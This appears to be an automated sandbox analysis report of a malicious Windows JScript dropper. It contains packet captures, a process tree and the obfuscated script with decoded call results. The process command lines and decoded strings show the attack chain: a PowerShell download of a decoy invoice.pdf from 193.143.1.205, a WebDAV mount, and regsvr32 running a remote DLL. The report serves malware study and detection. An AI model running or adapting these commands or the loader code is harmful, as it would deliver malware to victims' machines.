Jan 11, 2025 07:47:06.368544102 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:47:06.368561029 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 07:47:06.368622065 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 07:47:06.368633032 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 07:47:06.368652105 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 07:47:06.368665934 CET	1120	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 07:47:06.368685007 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 07:47:06.373311996 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	5828	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:47:07.944159985 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:47:08.753740072 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:47:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:47:00
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js"
Imagebase:	0x7ff6293a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:47:01
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Imagebase:	0x7ff6ddc00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:47:01
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:47:01
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:47:06
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:47:06
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ddc00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:47:06
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d3210000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:47:06
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:47:07
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:47:07
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1636,i,14765635454801674691,12305855490842319476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qpkcsje() {	qpkcsje() ➔ undefined
1	sbrcx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nklge = this[mcsev + iufugjzxt + ulayk + icibzc + yuoopzut + rkhnrn + fptons + mcbxjwf] ( this[hkblk + yzjvegehr + ndswks + ulayk + wuchx + mcsev + mcbxjwf][xapshwax + ulayk + yuoopzut + iufugjzxt + mcbxjwf + yuoopzut + iqtpt + urymii + yavow + yuoopzut + ndswks + mcbxjwf] ( hkblk + yzjvegehr + ndswks + ulayk + wuchx + mcsev + mcbxjwf + ndhyfxwoq + yzjvegehr + crcjdew + yuoopzut + hthwhrn + hthwhrn ) [ckwljhew + yuoopzut + qeizs + ckwljhew + yuoopzut + iufugjzxt + lhxcafi] ( kqqxxzzyz + euoinovxr + gphrs + sioysxgll + fuvgfo + xapshwax + pxktzzkg + ckwljhew + ckwljhew + gphrs + sqagw + qofpqogr + fuvgfo + pxktzzkg + yzjvegehr + gphrs + ckwljhew + scparzm + xapshwax + jvgtdmv + fptons + mcbxjwf + ulayk + jvgtdmv + hthwhrn + zexisx + verao + iufugjzxt + fptons + yuoopzut + hthwhrn + scparzm + rkhnrn + fptons + mcbxjwf + yuoopzut + ulayk + fptons + iufugjzxt + mcbxjwf + wuchx + jvgtdmv + fptons + iufugjzxt + hthwhrn + scparzm + xzrns + jvgtdmv + ndswks + iufugjzxt + hthwhrn + yuoopzut ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rpkkc = 0 ; rpkkc < sbrcx[hthwhrn + yuoopzut + fptons + qeizs + mcbxjwf + crcjdew] ; ++ rpkkc )
4	{
5	if ( nklge == sbrcx[rpkkc] )
6	{
7	nklge = true;
8	break ;
9	}
10	}
11	if ( nklge !== true )
12	this[hkblk + yzjvegehr + ndswks + ulayk + wuchx + mcsev + mcbxjwf][zqityk + lwwzntx + wuchx + mcbxjwf] ( );
13	this[hkblk + yzjvegehr + ndswks + ulayk + wuchx + mcsev + mcbxjwf][xapshwax + ulayk + yuoopzut + iufugjzxt + mcbxjwf + yuoopzut + iqtpt + urymii + yavow + yuoopzut + ndswks + mcbxjwf] ( hkblk + yzjvegehr + ndswks + ulayk + wuchx + mcsev + mcbxjwf + ndhyfxwoq + yzjvegehr + crcjdew + yuoopzut + hthwhrn + hthwhrn ) [ulayk + lwwzntx + fptons] ( ndswks + ouzqy + lhxcafi + zexisx + zaucv + ndswks + zexisx + mcsev + jvgtdmv + faoqiyc + yuoopzut + ulayk + icibzc + crcjdew + yuoopzut + hthwhrn + hthwhrn + ndhyfxwoq + yuoopzut + whbao + yuoopzut + zexisx + qzeoagabp + xapshwax + jvgtdmv + ouzqy + ouzqy + iufugjzxt + fptons + lhxcafi + zexisx + xffxmej + rkhnrn + fptons + xmjuurlhb + jvgtdmv + mrsrfq + yuoopzut + qzeoagabp + hkblk + yuoopzut + urymii + ckwljhew + yuoopzut + jmkrzc + lwwzntx + yuoopzut + icibzc + mcbxjwf + zexisx + qzeoagabp + iqtpt + lwwzntx + mcbxjwf + ejoaha + wuchx + hthwhrn + yuoopzut + zexisx + wbtzdxg + mcbxjwf + yuoopzut + ouzqy + mcsev + wbtzdxg + scparzm + wuchx + fptons + xmjuurlhb + jvgtdmv + wuchx + ndswks + yuoopzut + ndhyfxwoq + mcsev + lhxcafi + zqdbwf + zexisx + crcjdew + mcbxjwf + mcbxjwf + mcsev + ncyjcj + zaucv + zaucv + tzmzom + fkyjta + xdvwanuo + ndhyfxwoq + tzmzom + pgagjiy + xdvwanuo + ndhyfxwoq + tzmzom + ndhyfxwoq + ispscal + qcjnjf + xetebcve + zaucv + wuchx + fptons + xmjuurlhb + jvgtdmv + wuchx + ndswks + yuoopzut + ndhyfxwoq + mcsev + crcjdew + mcsev + xffxmej + izsiuus + izsiuus + icibzc + mcbxjwf + iufugjzxt + ulayk + mcbxjwf + zexisx + wbtzdxg + mcbxjwf + yuoopzut + ouzqy + mcsev + wbtzdxg + scparzm + wuchx + fptons + xmjuurlhb + jvgtdmv + wuchx + ndswks + yuoopzut + ndhyfxwoq + mcsev + lhxcafi + zqdbwf + izsiuus + izsiuus + ndswks + ouzqy + lhxcafi + zexisx + zaucv + ndswks + zexisx + fptons + yuoopzut + mcbxjwf + zexisx + lwwzntx + icibzc + yuoopzut + zexisx + scparzm + scparzm + tzmzom + fkyjta + xdvwanuo + ndhyfxwoq + tzmzom + pgagjiy + xdvwanuo + ndhyfxwoq + tzmzom + ndhyfxwoq + ispscal + qcjnjf + xetebcve + epocaf + xcrwl + xcrwl + xcrwl + xcrwl + scparzm + lhxcafi + iufugjzxt + xmjuurlhb + faoqiyc + faoqiyc + faoqiyc + ulayk + jvgtdmv + jvgtdmv + mcbxjwf + scparzm + izsiuus + izsiuus + ndswks + ouzqy + lhxcafi + zexisx + zaucv + ndswks + zexisx + ulayk + yuoopzut + qeizs + icibzc + xmjuurlhb + ulayk + xdvwanuo + ispscal + zexisx + zaucv + icibzc + zexisx + scparzm + scparzm + tzmzom + fkyjta + xdvwanuo + ndhyfxwoq + tzmzom + pgagjiy + xdvwanuo + ndhyfxwoq + tzmzom + ndhyfxwoq + ispscal + qcjnjf + xetebcve + epocaf + xcrwl + xcrwl + xcrwl + xcrwl + scparzm + lhxcafi + iufugjzxt + xmjuurlhb + faoqiyc + faoqiyc + faoqiyc + ulayk + jvgtdmv + jvgtdmv + mcbxjwf + scparzm + ispscal + xcrwl + pgagjiy + fuhqu + xcrwl + ispscal + xdvwanuo + tbgfzepc + xetebcve + tbgfzepc + tzmzom + tzmzom + tzmzom + tbgfzepc + xetebcve + ndhyfxwoq + lhxcafi + hthwhrn + hthwhrn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll",0,false) ➔ 0
14	}
15	tzmzom = "u";
16	tzmzom = "W";
17	tzmzom = "Y";
18	tzmzom = "Y";
19	tzmzom = "E";
20	tzmzom = "M";
21	tzmzom = "g";
22	tzmzom = "t";
23	tzmzom = "T";
24	tzmzom = "l";
25	tzmzom = "A";
26	tzmzom = "J";
27	tzmzom = "Q";
28	tzmzom = "Q";
29	tzmzom = "p";
30	tzmzom = "d";
31	tzmzom = "r";
32	tzmzom = "G";
33	tzmzom = "g";
34	tzmzom = "Y";
35	tzmzom = "x";
36	tzmzom = "A";
37	tzmzom = "E";
38	tzmzom = "X";
39	tzmzom = "p";
40	tzmzom = "K";
41	tzmzom = "E";
42	tzmzom = "E";
43	tzmzom = "L";
44	tzmzom = "c";
45	tzmzom = "Z";
46	tzmzom = "Z";
47	tzmzom = "O";
48	tzmzom = "z";
49	tzmzom = "d";
50	tzmzom = "1";
51	mcsev = "T";
52	mcsev = "u";
53	mcsev = "T";
54	mcsev = "l";
55	mcsev = "z";
56	mcsev = "I";
57	mcsev = "r";
58	mcsev = "d";
59	mcsev = "a";
60	mcsev = "f";
61	mcsev = "P";
62	mcsev = "X";
63	mcsev = "C";
64	mcsev = "D";
65	mcsev = "W";
66	mcsev = "z";
67	mcsev = "F";
68	mcsev = "G";
69	mcsev = "N";
70	mcsev = "P";
71	mcsev = "f";
72	mcsev = "B";
73	mcsev = "T";
74	mcsev = "a";
75	mcsev = "h";
76	mcsev = "J";
77	mcsev = "p";
78	jvgtdmv = "A";
79	jvgtdmv = "v";
80	jvgtdmv = "k";
81	jvgtdmv = "C";
82	jvgtdmv = "i";
83	jvgtdmv = "i";
84	jvgtdmv = "q";
85	jvgtdmv = "M";
86	jvgtdmv = "d";
87	jvgtdmv = "x";
88	jvgtdmv = "I";
89	jvgtdmv = "b";
90	jvgtdmv = "o";
91	sqagw = "A";
92	sqagw = "f";
93	sqagw = "Y";
94	sqagw = "s";
95	sqagw = "O";
96	sqagw = "n";
97	sqagw = "E";
98	sqagw = "M";
99	sqagw = "v";
100	sqagw = "c";
101	sqagw = "Z";
102	sqagw = "B";
103	sqagw = "A";
104	sqagw = "R";
105	sqagw = "h";
106	sqagw = "e";
107	sqagw = "X";
108	sqagw = "q";
109	sqagw = "C";
110	sqagw = "P";
111	sqagw = "l";
112	sqagw = "I";
113	sqagw = "u";
114	sqagw = "b";
115	sqagw = "V";
116	sqagw = "c";
117	sqagw = "T";
118	sqagw = "Q";
119	sqagw = "R";
120	sqagw = "M";
121	sqagw = "H";
122	sqagw = "f";
123	sqagw = "f";
124	sqagw = "v";
125	sqagw = "N";
126	qcjnjf = "X";
127	qcjnjf = "f";
128	qcjnjf = "z";
129	qcjnjf = "J";
130	qcjnjf = "Q";
131	qcjnjf = "I";
132	qcjnjf = "B";
133	qcjnjf = "u";
134	qcjnjf = "P";
135	qcjnjf = "k";
136	qcjnjf = "w";
137	qcjnjf = "V";
138	qcjnjf = "0";
139	xdvwanuo = "K";
140	xdvwanuo = "K";
141	xdvwanuo = "i";
142	xdvwanuo = "Y";
143	xdvwanuo = "C";
144	xdvwanuo = "f";
145	xdvwanuo = "f";
146	xdvwanuo = "H";
147	xdvwanuo = "W";
148	xdvwanuo = "L";
149	xdvwanuo = "p";
150	xdvwanuo = "d";
151	xdvwanuo = "u";
152	xdvwanuo = "V";
153	xdvwanuo = "X";
154	xdvwanuo = "N";
155	xdvwanuo = "E";
156	xdvwanuo = "l";
157	xdvwanuo = "m";
158	xdvwanuo = "L";
159	xdvwanuo = "z";
160	xdvwanuo = "j";
161	xdvwanuo = "g";
162	xdvwanuo = "T";
163	xdvwanuo = "E";
164	xdvwanuo = "J";
165	xdvwanuo = "H";
166	xdvwanuo = "3";
167	ckwljhew = "B";
168	ckwljhew = "R";
169	icibzc = "I";
170	icibzc = "S";
171	icibzc = "f";
172	icibzc = "M";
173	icibzc = "d";
174	icibzc = "Q";
175	icibzc = "E";
176	icibzc = "d";
177	icibzc = "X";
178	icibzc = "V";
179	icibzc = "p";
180	icibzc = "p";
181	icibzc = "h";
182	icibzc = "z";
183	icibzc = "v";
184	icibzc = "J";
185	icibzc = "V";
186	icibzc = "q";
187	icibzc = "a";
188	icibzc = "k";
189	icibzc = "N";
190	icibzc = "l";
191	icibzc = "T";
192	icibzc = "I";
193	icibzc = "B";
194	icibzc = "P";
195	icibzc = "Z";
196	icibzc = "b";
197	icibzc = "S";
198	icibzc = "A";
199	icibzc = "i";
200	icibzc = "s";
201	xffxmej = "Y";
202	xffxmej = "o";
203	xffxmej = "z";
204	xffxmej = "j";
205	xffxmej = "h";
206	xffxmej = "G";
207	xffxmej = "e";
208	xffxmej = "T";
209	xffxmej = "I";
210	xffxmej = "j";
211	xffxmej = "W";
212	xffxmej = "C";
213	xffxmej = "l";
214	xffxmej = "I";
215	xffxmej = "w";
216	xffxmej = "Y";
217	xffxmej = "t";
218	xffxmej = "x";
219	xffxmej = "G";
220	xffxmej = "d";
221	xffxmej = "F";
222	xffxmej = "N";
223	xffxmej = "e";
224	xffxmej = "d";
225	xffxmej = "t";
226	xffxmej = "\"";
227	wbtzdxg = "j";
228	wbtzdxg = "b";
229	wbtzdxg = "Q";
230	wbtzdxg = "I";
231	wbtzdxg = "d";
232	wbtzdxg = "r";
233	wbtzdxg = "R";
234	wbtzdxg = "I";
235	wbtzdxg = "X";
236	wbtzdxg = "F";
237	wbtzdxg = "P";
238	wbtzdxg = "%";
239	zqityk = "Q";
240	zqityk = "x";
241	zqityk = "D";
242	zqityk = "m";
243	zqityk = "H";
244	zqityk = "F";
245	zqityk = "q";
246	zqityk = "C";
247	zqityk = "I";
248	zqityk = "s";
249	zqityk = "N";
250	zqityk = "Q";
251	pgagjiy = "O";
252	pgagjiy = "4";
253	xcrwl = "a";
254	xcrwl = "L";
255	xcrwl = "F";
256	xcrwl = "R";
257	xcrwl = "k";
258	xcrwl = "b";
259	xcrwl = "I";
260	xcrwl = "U";
261	xcrwl = "z";
262	xcrwl = "e";
263	xcrwl = "O";
264	xcrwl = "V";
265	xcrwl = "T";
266	xcrwl = "G";
267	xcrwl = "d";
268	xcrwl = "A";
269	xcrwl = "r";
270	xcrwl = "H";
271	xcrwl = "E";
272	xcrwl = "D";
273	xcrwl = "E";
274	xcrwl = "8";
275	euoinovxr = "j";
276	euoinovxr = "Z";
277	euoinovxr = "H";
278	euoinovxr = "y";
279	euoinovxr = "F";
280	euoinovxr = "R";
281	euoinovxr = "j";
282	euoinovxr = "S";
283	euoinovxr = "x";
284	euoinovxr = "o";
285	euoinovxr = "w";
286	euoinovxr = "B";
287	euoinovxr = "L";
288	euoinovxr = "C";
289	euoinovxr = "J";
290	euoinovxr = "s";
291	euoinovxr = "o";
292	euoinovxr = "q";
293	euoinovxr = "f";
294	euoinovxr = "r";
295	euoinovxr = "r";
296	euoinovxr = "h";
297	euoinovxr = "B";
298	euoinovxr = "S";
299	euoinovxr = "y";
300	euoinovxr = "K";
301	crcjdew = "A";
302	crcjdew = "I";
303	crcjdew = "D";
304	crcjdew = "e";
305	crcjdew = "o";
306	crcjdew = "h";
307	ispscal = "p";
308	ispscal = "B";
309	ispscal = "l";
310	ispscal = "U";
311	ispscal = "D";
312	ispscal = "q";
313	ispscal = "f";
314	ispscal = "d";
315	ispscal = "L";
316	ispscal = "o";
317	ispscal = "G";
318	ispscal = "C";
319	ispscal = "D";
320	ispscal = "a";
321	ispscal = "V";
322	ispscal = "q";
323	ispscal = "X";
324	ispscal = "p";
325	ispscal = "S";
326	ispscal = "x";
327	ispscal = "Y";
328	ispscal = "u";
329	ispscal = "w";
330	ispscal = "U";
331	ispscal = "u";
332	ispscal = "Q";
333	ispscal = "S";
334	ispscal = "N";
335	ispscal = "t";
336	ispscal = "B";
337	ispscal = "e";
338	ispscal = "y";
339	ispscal = "2";
340	jmkrzc = "E";
341	jmkrzc = "u";
342	jmkrzc = "k";
343	jmkrzc = "k";
344	jmkrzc = "k";
345	jmkrzc = "E";
346	jmkrzc = "N";
347	jmkrzc = "a";
348	jmkrzc = "L";
349	jmkrzc = "D";
350	jmkrzc = "F";
351	jmkrzc = "c";
352	jmkrzc = "q";
353	iufugjzxt = "I";
354	iufugjzxt = "T";
355	iufugjzxt = "w";
356	iufugjzxt = "h";
357	iufugjzxt = "c";
358	iufugjzxt = "x";
359	iufugjzxt = "w";
360	iufugjzxt = "Y";
361	iufugjzxt = "m";
362	iufugjzxt = "a";
363	xapshwax = "Q";
364	xapshwax = "k";
365	xapshwax = "Q";
366	xapshwax = "A";
367	xapshwax = "h";
368	xapshwax = "C";
369	xapshwax = "Z";
370	xapshwax = "P";
371	xapshwax = "P";
372	xapshwax = "x";
373	xapshwax = "K";
374	xapshwax = "b";
375	xapshwax = "K";
376	xapshwax = "U";
377	xapshwax = "C";
378	tbgfzepc = "p";
379	tbgfzepc = "O";
380	tbgfzepc = "O";
381	tbgfzepc = "s";
382	tbgfzepc = "m";
383	tbgfzepc = "v";
384	tbgfzepc = "A";
385	tbgfzepc = "S";
386	tbgfzepc = "f";
387	tbgfzepc = "j";
388	tbgfzepc = "S";
389	tbgfzepc = "Q";
390	tbgfzepc = "f";
391	tbgfzepc = "x";
392	tbgfzepc = "o";
393	tbgfzepc = "J";
394	tbgfzepc = "K";
395	tbgfzepc = "Z";
396	tbgfzepc = "g";
397	tbgfzepc = "j";
398	tbgfzepc = "R";
399	tbgfzepc = "s";
400	tbgfzepc = "m";
401	tbgfzepc = "j";
402	tbgfzepc = "Y";
403	tbgfzepc = "S";
404	tbgfzepc = "7";
405	iqtpt = "H";
406	iqtpt = "Y";
407	iqtpt = "r";
408	iqtpt = "l";
409	iqtpt = "l";
410	iqtpt = "o";
411	iqtpt = "f";
412	iqtpt = "Q";
413	iqtpt = "E";
414	iqtpt = "L";
415	iqtpt = "W";
416	iqtpt = "l";
417	iqtpt = "K";
418	iqtpt = "Z";
419	iqtpt = "X";
420	iqtpt = "n";
421	iqtpt = "l";
422	iqtpt = "b";
423	iqtpt = "j";
424	iqtpt = "G";
425	iqtpt = "w";
426	iqtpt = "t";
427	iqtpt = "T";
428	iqtpt = "X";
429	iqtpt = "c";
430	iqtpt = "k";
431	iqtpt = "J";
432	iqtpt = "j";
433	iqtpt = "d";
434	iqtpt = "a";
435	iqtpt = "W";
436	iqtpt = "Z";
437	iqtpt = "c";
438	iqtpt = "F";
439	iqtpt = "T";
440	iqtpt = "J";
441	iqtpt = "g";
442	iqtpt = "E";
443	iqtpt = "O";
444	lwwzntx = "S";
445	lwwzntx = "R";
446	lwwzntx = "U";
447	lwwzntx = "R";
448	lwwzntx = "a";
449	lwwzntx = "f";
450	lwwzntx = "l";
451	lwwzntx = "r";
452	lwwzntx = "q";
453	lwwzntx = "r";
454	lwwzntx = "p";
455	lwwzntx = "d";
456	lwwzntx = "d";
457	lwwzntx = "m";
458	lwwzntx = "O";
459	lwwzntx = "c";
460	lwwzntx = "i";
461	lwwzntx = "B";
462	lwwzntx = "f";
463	lwwzntx = "z";
464	lwwzntx = "u";
465	ncyjcj = "G";
466	ncyjcj = "I";
467	ncyjcj = "G";
468	ncyjcj = "b";
469	ncyjcj = "A";
470	ncyjcj = "E";
471	ncyjcj = "l";
472	ncyjcj = "v";
473	ncyjcj = "h";
474	ncyjcj = "g";
475	ncyjcj = "V";
476	ncyjcj = "F";
477	ncyjcj = "S";
478	ncyjcj = "q";
479	ncyjcj = "u";
480	ncyjcj = "v";
481	ncyjcj = "F";
482	ncyjcj = "y";
483	ncyjcj = "a";
484	ncyjcj = "p";
485	ncyjcj = "k";
486	ncyjcj = "v";
487	ncyjcj = "G";
488	ncyjcj = ":";
489	zqdbwf = "H";
490	zqdbwf = "z";
491	zqdbwf = "d";
492	zqdbwf = "y";
493	zqdbwf = "z";
